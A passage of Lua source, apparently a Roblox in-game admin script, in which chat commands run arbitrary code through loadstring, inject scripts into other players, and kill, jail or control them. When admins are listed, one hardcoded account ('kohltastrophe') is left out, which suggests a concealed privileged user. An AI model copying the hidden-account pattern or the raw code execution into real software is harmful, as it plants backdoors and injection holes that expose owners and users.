  440. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  441. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  442. end end
  443.  
  444. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  445. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  446. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  447. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  448. end
  449.  
  450. if msg:lower() == "tools" or msg:lower() == "toollist" then
  451. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  452. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  453. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  454. end
  455.  
  456. if msg:lower():sub(1,2) == "s " then
  457. coroutine.resume(coroutine.create(function()
  458. Output(msg:sub(3), plr)
  459. if script:findFirstChild("ScriptBase") then
  460. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  461. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  462. else loadstring(msg:sub(3))()
  463. end
  464. end))
  465. end
  466.  
  467. if msg:lower():sub(1,3) == "ls " then
  468. coroutine.resume(coroutine.create(function()
  469. if script:findFirstChild("LocalScriptBase") then
  470. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  471. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  472. end
  473. end))
  474. end
  475.  
  476. if msg:lower():sub(1,6) == "lsplr " then
  477. local chk1 = msg:lower():sub(7):find(" ") + 6
  478. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  479. for i, v in pairs(plrz) do
  480. coroutine.resume(coroutine.create(function()
  481. if v and v:findFirstChild("PlayerGui") then
  482. if script:findFirstChild("LocalScriptBase") then
  483. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  484. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  485. end
  486. end
  487. end))
  488. end
  489. end
  490.  
  491. if msg:lower():sub(1,4) == "ins " then
  492. coroutine.resume(coroutine.create(function()
  493. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  494. if obj and #obj:children() >= 1 and plr.Character then
  495. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  496. end
  497. end))
  498. end
  499.  
  500. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  501. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  502. RemoveMessage()
  503. objects = {}
  504. end
  505.  
  506. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  507. game.Lighting.Ambient = origsettings.abt
  508. game.Lighting.Brightness = origsettings.brt
  509. game.Lighting.TimeOfDay = origsettings.time
  510. game.Lighting.FogColor = origsettings.fclr
  511. game.Lighting.FogEnd = origsettings.fe
  512. game.Lighting.FogStart = origsettings.fs
  513. for i, v in pairs(lobjs) do v:Destroy() end
  514. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  515. end
  516.  
  517. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  518. coroutine.resume(coroutine.create(function()
  519. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  520. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  521. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  522. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  523. end))
  524. end
  525.  
  526. if msg:lower():sub(1,10) == "countdown " then
  527. local num = math.min(tonumber(msg:sub(11)),120)
  528. for i = num, 1, -1 do
  529. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  530. wait(1)
  531. end
  532. end
  533.  
  534. if msg:lower():sub(1,3) == "tm " then
  535. local chk1 = msg:lower():sub(4):find(" ") + 3
  536. local num = tonumber(msg:sub(4,chk1-1))
  537. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  538. end
  539.  
  540. if msg:lower():sub(1,2) == "m " then
  541. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  542. end
  543.  
  544. if msg:lower():sub(1,2) == "h " then
  545. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  546. end
  547.  
  548. if msg:lower():sub(1,3) == "pm " then
  549. local chk1 = msg:lower():sub(4):find(" ") + 3
  550. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  551. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  552. end
  553.  
  554. if msg:lower():sub(1,11) == "resetstats " then
  555. local plrz = GetPlr(plr, msg:lower():sub(12))
  556. for i, v in pairs(plrz) do
  557. coroutine.resume(coroutine.create(function()
  558. if v and v:findFirstChild("leaderstats") then
  559. for a, q in pairs(v.leaderstats:children()) do
  560. if q:IsA("IntValue") then q.Value = 0 end
  561. end
  562. end
  563. end))
  564. end
  565. end
  566.  
  567. if msg:lower():sub(1,5) == "gear " then
  568. local chk1 = msg:lower():sub(6):find(" ") + 5
  569. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  570. for i, v in pairs(plrz) do
  571. coroutine.resume(coroutine.create(function()
  572. if v and v:findFirstChild("Backpack") then
  573. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  574. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  575. obj:Destroy()
  576. end
  577. end))
  578. end
  579. end
  580.  
  581. if msg:lower():sub(1,4) == "hat " then
  582. local chk1 = msg:lower():sub(5):find(" ") + 4
  583. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  584. for i, v in pairs(plrz) do
  585. coroutine.resume(coroutine.create(function()
  586. if v and v.Character then
  587. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  588. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  589. obj:Destroy()
  590. end
  591. end))
  592. end
  593. end
  594.  
  595. if msg:lower():sub(1,5) == "cape " then
  596. local chk1 = msg:lower():sub(6):find(" ")
  597. local plrz = GetPlr(plr, msg:lower():sub(6))
  598. local str = "torso.BrickColor"
  599. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  600. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  601. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  602. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  603. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  604. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  605. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  606. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  607. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  608. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  609. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  610. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  611. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  612. if BrickColor.new(teststr) ~= nil then str = teststr end
  613. end
  614. for i, v in pairs(plrz) do
  615. coroutine.resume(coroutine.create(function()
  616. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  617. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  618. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  619. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  620. local torso = plr.Character.Torso
  621. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  622. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  623. p.Size = Vector3.new(.2,.2,.2)
  624. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  625. local motor1 = Instance.new("Motor", p)
  626. motor1.Part0 = p
  627. motor1.Part1 = torso
  628. motor1.MaxVelocity = .01
  629. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  630. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  631. local wave = false
  632. repeat wait(1/44)
  633. local ang = 0.1
  634. local oldmag = torso.Velocity.magnitude
  635. local mv = .002
  636. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  637. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  638. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  639. motor1.DesiredAngle = -ang
  640. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  641. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  642. if torso.Velocity.magnitude < .1 then wait(.1) end
  643. until not p or p.Parent ~= torso.Parent
  644. script:Destroy()
  645. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  646. end
  647. end))
  648. end
  649. end
  650.  
  651. if msg:lower():sub(1,7) == "uncape " then
  652. local plrz = GetPlr(plr, msg:lower():sub(8))
  653. for i, v in pairs(plrz) do
  654. coroutine.resume(coroutine.create(function()
  655. if v and v:findFirstChild("PlayerGui") and v.Character then
  656. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  657. end
  658. end))
  659. end
  660. end
  661.  
  662. if msg:lower():sub(1,7) == "noclip " then
  663. local plrz = GetPlr(plr, msg:lower():sub(8))
  664. for i, v in pairs(plrz) do
  665. coroutine.resume(coroutine.create(function()
  666. if v and v:findFirstChild("PlayerGui") then
  667. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  668. cl.Parent = v.PlayerGui cl.Disabled = false
  669. end
  670. end))
  671. end
  672. end
  673.  
  674. if msg:lower():sub(1,5) == "clip " then
  675. local plrz = GetPlr(plr, msg:lower():sub(6))
  676. for i, v in pairs(plrz) do
  677. coroutine.resume(coroutine.create(function()
  678. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  679. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  680. v.Character.Torso.Anchored = false
  681. wait(.1) v.Character.Humanoid.PlatformStand = false
  682. end
  683. end))
  684. end
  685. end
  686.  
  687. if msg:lower():sub(1,5) == "jail " then
  688. local plrz = GetPlr(plr, msg:lower():sub(6))
  689. for i, v in pairs(plrz) do
  690. coroutine.resume(coroutine.create(function()
  691. if v and v.Character and v.Character:findFirstChild("Torso") then
  692. local vname = v.Name
  693. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  694. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  695. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  696. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  697. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  698. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  699. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  700. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  701. end)
  702. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  703. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  704. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  705. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  706. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  707. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  708. local msh2 = msh:Clone() msh2.Parent = back
  709. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  710. local msh4 = msh3:Clone() msh4.Parent = left
  711. v.Character.Torso.CFrame = cf
  712. end
  713. end))
  714. end
  715. end
  716.  
  717. if msg:lower():sub(1,7) == "unjail " then
  718. local plrz = GetPlr(plr, msg:lower():sub(8))
  719. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  720. end
  721.  
  722. if msg:lower():sub(1,11) == "starttools " then
  723. local plrz = GetPlr(plr, msg:lower():sub(12))
  724. for i, v in pairs(plrz) do
  725. coroutine.resume(coroutine.create(function()
  726. if v and v:findFirstChild("Backpack") then
  727. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  728. end
  729. end))
  730. end
  731. end
  732.  
  733. if msg:lower():sub(1,6) == "sword " then
  734. local plrz = GetPlr(plr, msg:lower():sub(7))
  735. for i, v in pairs(plrz) do
  736. coroutine.resume(coroutine.create(function()
  737. if v and v:findFirstChild("Backpack") then
  738. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  739. sword.GripForward = Vector3.new(-1,0,0)
  740. sword.GripPos = Vector3.new(0,0,-1.5)
  741. sword.GripRight = Vector3.new(0,1,0)
  742. sword.GripUp = Vector3.new(0,0,1)
  743. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  744. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  745. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  746. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  747. local Damage = 15
  748. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  749. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  750. SlashSound.Volume = 1
  751. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  752. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  753. LungeSound.Volume = 1
  754. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  755. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  756. UnsheathSound.Volume = 1
  757. local last = 0
  758. script.Parent.Handle.Touched:connect(function(hit)
  759. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  760. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  761. hit.Parent.Humanoid:TakeDamage(Damage)
  762. end
  763. end)
  764. script.Parent.Activated:connect(function()
  765. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  766. script.Parent.Enabled = false
  767. local tick = game:service("RunService").Stepped:wait()
  768. if tick - last <= .2 then
  769. LungeSound:play()
  770. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  771. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  772. wait(.2)
  773. script.Parent.GripForward = Vector3.new(0,0,1)
  774. script.Parent.GripRight = Vector3.new(0,-1,0)
  775. script.Parent.GripUp = Vector3.new(-1,0,0)
  776. wait(.3)
  777. frc:Destroy() wait(.5)
  778. script.Parent.GripForward = Vector3.new(-1,0,0)
  779. script.Parent.GripRight = Vector3.new(0,1,0)
  780. script.Parent.GripUp = Vector3.new(0,0,1)
  781. else
  782. SlashSound:play()
  783. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  784. end
  785. last = tick
  786. script.Parent.Enabled = true
  787. end)
  788. script.Parent.Equipped:connect(function(mouse)
  789. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  790. UnsheathSound:play()
  791. script.Parent.Enabled = true
  792. if not mouse then return end
  793. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  794. end)]] cl.Disabled = false
  795. end
  796. end))
  797. end
  798. end
  799.  
  800. if msg:lower():sub(1,6) == "clone " then
  801. local plrz = GetPlr(plr, msg:lower():sub(7))
  802. for i, v in pairs(plrz) do
  803. coroutine.resume(coroutine.create(function()
  804. if v and v.Character then
  805. v.Character.Archivable = true
  806. local cl = v.Character:Clone()
  807. table.insert(objects,cl)
  808. cl.Parent = game.Workspace
  809. cl:MoveTo(v.Character:GetModelCFrame().p)
  810. cl:MakeJoints()
  811. v.Character.Archivable = false
  812. end
  813. end))
  814. end
  815. end
  816.  
  817. if msg:lower():sub(1,8) == "control " then
  818. local plrz = GetPlr(plr, msg:lower():sub(9))
  819. for i, v in pairs(plrz) do
  820. coroutine.resume(coroutine.create(function()
  821. if v and v.Character then
  822. v.Character.Humanoid.PlatformStand = true
  823. local w = Instance.new("Weld", plr.Character.Torso )
  824. w.Part0 = plr.Character.Torso
  825. w.Part1 = v.Character.Torso
  826. local w2 = Instance.new("Weld", plr.Character.Head)
  827. w2.Part0 = plr.Character.Head
  828. w2.Part1 = v.Character.Head
  829. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  830. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  831. w3.Part1 = v.Character:findFirstChild("Right Arm")
  832. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  833. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  834. w4.Part1 = v.Character:findFirstChild("Left Arm")
  835. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  836. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  837. w5.Part1 = v.Character:findFirstChild("Right Leg")
  838. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  839. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  840. w6.Part1 = v.Character:findFirstChild("Left Leg")
  841. plr.Character.Head.face:Destroy()
  842. for i, p in pairs(v.Character:children()) do
  843. if p:IsA("BasePart") then
  844. p.CanCollide = false
  845. end
  846. end
  847. for i, p in pairs(plr.Character:children()) do
  848. if p:IsA("BasePart") then
  849. p.Transparency = 1
  850. elseif p:IsA("Hat") then
  851. p:Destroy()
  852. end
  853. end
  854. v.Character.Parent = plr.Character
  855. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  856. end
  857. end))
  858. end
  859. end
  860.  
  861. if msg:lower():sub(1,5) == "kill " then
  862. local plrz = GetPlr(plr, msg:lower():sub(6))
  863. for i, v in pairs(plrz) do
  864. coroutine.resume(coroutine.create(function()
  865. if v and v.Character then v.Character:BreakJoints() end
  866. end))
  867. end
  868. end
  869.  
  870. if msg:lower():sub(1,8) == "respawn " then
  871. local plrz = GetPlr(plr, msg:lower():sub(9))
  872. for i, v in pairs(plrz) do
  873. coroutine.resume(coroutine.create(function()
  874. if v and v.Character then v:LoadCharacter() end
  875. end))
  876. end
  877. end
  878.  
  879. if msg:lower():sub(1,5) == "trip " then
  880. local plrz = GetPlr(plr, msg:lower():sub(6))
  881. for i, v in pairs(plrz) do
  882. coroutine.resume(coroutine.create(function()
  883. if v and v.Character and v.Character:findFirstChild("Torso") then
  884. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  885. end
  886. end))
  887. end
  888. end
  889.  
  890. if msg:lower():sub(1,5) == "stun " then
  891. local plrz = GetPlr(plr, msg:lower():sub(6))
  892. for i, v in pairs(plrz) do
  893. coroutine.resume(coroutine.create(function()
  894. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  895. v.Character.Humanoid.PlatformStand = true
  896. end
  897. end))
  898. end
  899. end
  900.  
  901. if msg:lower():sub(1,7) == "unstun " then
  902. local plrz = GetPlr(plr, msg:lower():sub(8))
  903. for i, v in pairs(plrz) do
  904. coroutine.resume(coroutine.create(function()
  905. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  906. v.Character.Humanoid.PlatformStand = false
  907. end
  908. end))
  909. end
  910. end
  911.  
  912. if msg:lower():sub(1,5) == "jump " then
  913. local plrz = GetPlr(plr, msg:lower():sub(6))
  914. for i, v in pairs(plrz) do
  915. coroutine.resume(coroutine.create(function()
  916. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  917. v.Character.Humanoid.Jump = true
  918. end
  919. end))
  920. end
  921. end
  922.  
  923. if msg:lower():sub(1,4) == "sit " then
  924. local plrz = GetPlr(plr, msg:lower():sub(5))
  925. for i, v in pairs(plrz) do
  926. coroutine.resume(coroutine.create(function()
  927. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  928. v.Character.Humanoid.Sit = true
  929. end
  930. end))
  931. end
  932. end
  933.  
  934. if msg:lower():sub(1,10) == "invisible " then
  935. local plrz = GetPlr(plr, msg:lower():sub(11))
  936. for i, v in pairs(plrz) do
  937. coroutine.resume(coroutine.create(function()
  938. if v and v.Character then
  939. for a, obj in pairs(v.Character:children()) do
  940. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  941. end
  942. end
  943. end))
  944. end
  945. end
  946.  
  947. if msg:lower():sub(1,8) == "visible " then
  948. local plrz = GetPlr(plr, msg:lower():sub(9))
  949. for i, v in pairs(plrz) do
  950. coroutine.resume(coroutine.create(function()
  951. if v and v.Character then
  952. for a, obj in pairs(v.Character:children()) do
  953. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  954. end
  955. end
  956. end))
  957. end
  958. end
  959.  
  960. if msg:lower():sub(1,5) == "lock " then
  961. local plrz = GetPlr(plr, msg:lower():sub(6))
  962. for i, v in pairs(plrz) do
  963. coroutine.resume(coroutine.create(function()
  964. if v and v.Character then
  965. for a, obj in pairs(v.Character:children()) do
  966. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  967. end
  968. end
  969. end))
  970. end
  971. end
  972.  
  973. if msg:lower():sub(1,7) == "unlock " then
  974. local plrz = GetPlr(plr, msg:lower():sub(8))
  975. for i, v in pairs(plrz) do
  976. coroutine.resume(coroutine.create(function()
  977. if v and v.Character then
  978. for a, obj in pairs(v.Character:children()) do
  979. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  980. end
  981. end
  982. end))
  983. end
  984. end
  985.  
  986. if msg:lower():sub(1,8) == "explode " then
  987. local plrz = GetPlr(plr, msg:lower():sub(9))
  988. for i, v in pairs(plrz) do
  989. coroutine.resume(coroutine.create(function()
  990. if v and v.Character and v.Character:findFirstChild("Torso") then
  991. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  992. end
  993. end))
  994. end
  995. end
  996.  
  997. if msg:lower():sub(1,4) == "age " then
  998. local plrz = GetPlr(plr, msg:lower():sub(5))
  999. for i, v in pairs(plrz) do
  1000. coroutine.resume(coroutine.create(function()
  1001. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1002. end))
  1003. end
  1004. end
  1005.  
  1006. if msg:lower():sub(1,5) == "fire " then
  1007. local plrz = GetPlr(plr, msg:lower():sub(6))
  1008. for i, v in pairs(plrz) do
  1009. coroutine.resume(coroutine.create(function()
  1010. if v and v.Character and v.Character:findFirstChild("Torso") then
  1011. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1012. end
  1013. end))
  1014. end
  1015. end
  1016.  
  1017. if msg:lower():sub(1,7) == "unfire " then
  1018. local plrz = GetPlr(plr, msg:lower():sub(8))
  1019. for i, v in pairs(plrz) do
  1020. coroutine.resume(coroutine.create(function()
  1021. if v and v.Character and v.Character:findFirstChild("Torso") then
  1022. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1023. end
  1024. end))
  1025. end
  1026. end
  1027.  
  1028. if msg:lower():sub(1,6) == "smoke " then
  1029. local plrz = GetPlr(plr, msg:lower():sub(7))
  1030. for i, v in pairs(plrz) do
  1031. coroutine.resume(coroutine.create(function()
  1032. if v and v.Character and v.Character:findFirstChild("Torso") then
  1033. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1034. end
  1035. end))
  1036. end
  1037. end
  1038.  
  1039. if msg:lower():sub(1,8) == "unsmoke " then
  1040. local plrz = GetPlr(plr, msg:lower():sub(9))
  1041. for i, v in pairs(plrz) do
